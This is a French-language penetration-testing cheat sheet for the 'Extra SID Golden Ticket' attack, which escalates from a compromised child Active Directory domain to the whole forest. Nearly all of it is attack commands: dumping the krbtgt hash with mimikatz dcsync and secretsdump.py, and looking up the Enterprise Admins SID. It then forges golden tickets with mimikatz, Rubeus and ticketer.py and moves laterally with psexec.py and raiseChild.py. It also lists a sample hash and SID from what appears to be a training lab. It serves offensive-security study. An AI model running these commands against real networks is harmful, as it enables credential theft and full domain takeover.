Skip to content

Extra SID Golden Tickets

Il s'agit d'une attaque offrant la possibilité de compromettre une forêt AD à partir d'un domaine compromis.

Il s'appuie sur la création d'un golden ticket qui contiendra un SID history égal au SID du groupe de sécurité administrateur de l'entreprise.

Prérequis

  • Disposer du Hash NTLM (LM:NT) du compte krbtgt du domaine enfant (récupérable via lsadump::dcsync /user:krbtgt@LOGISTICS.INLANEFREIGHT.LOCAL)

Attaque

Sous Windows

Récupération des éléments nécessaires

# récupération du SID du groupe "administtrateurs de l'entreprise"
 Get-DomainGroup -Domain <PARENT DOMAIN> | ? {$_.SamAccountName -like "Enterprise Admins"}| Select -ExpandProperty objectsid

# récupération du hash du krbtgt du domaine compromis
mimikatz
 lsadump::dcsync /user:krbtgt@<domain>

# récupération du sid du groupe entreprise admin
get-domaingroup -Domain inlanefreight.local|?{$_.samaccountname -like "ent*admin*"}|select name,objectsid

# récupération du sid du domaine 
get-domainsid

Mimikatz

# création du golden ticket
mimikatz
 kerberos::golden /user:<fake or real user> /domain:<compromised domain> /sid:<compromised domain s SID> /sids:<Group SID to privesc> /rc4:<compromised domain s KRBTGT hash> /ptt

Rubeus

.\Rubeus.exe golden /rc4:<compromised domain s KRBTGT hash> /domain:<compromised domain> /sid:<compromised domain s SID>  /sids:<Group SID to privesc> /user:<fake or real user> /ptt

Sous Linux

Récupération des éléments nécessaires

# récupération du SID du groupe "administtrateurs de l'entreprise"
 lookupsid.py

# récupération du hash du krbtgt du domaine compromis
secretsdump.py <compromised domain FQDN>/<domain admin user>:<password@<dc ip> -just-dc -just-dc-user <domain netbios>/krbtgt

9d765b482771505cbe97411065964d5f
# récupération du sid du groupe entreprise admin
lookupsid.py <compromised domain FQDN>/<domain admin user>:<password@<dc ip wher Enterprise admin is defined> | grep -Ei 'ent.*adm.*'


S-1-5-21-3842939050-3880317879-2865463114-519
# récupération du sid du domaine 
lookupsid.py <compromised domain FQDN>/<domain admin user>:<password@<dc ip wher Enterprise admin is defined> | head

ticketer.py

# création du golden ticket
ticketer.py -nthash <compromised domain s KRBTGT hash> -domain <compromised domain>  -domain-sid <compromised domain s SID> -extra-sid <Group SID to privesc> <fake or real user>

# utilisation
export KRB5CCNAME=$PWD/<fake or real user>.ccache

psexec.py -k -no-pass <fake or real user>@<target FQDN> -dc-ip <dc ip> -target-ip <target-ip>

raiseChild.py

raiseChild.py <compromised domain FQDN>/<domain admin user>:<password> -target-exec <target ip>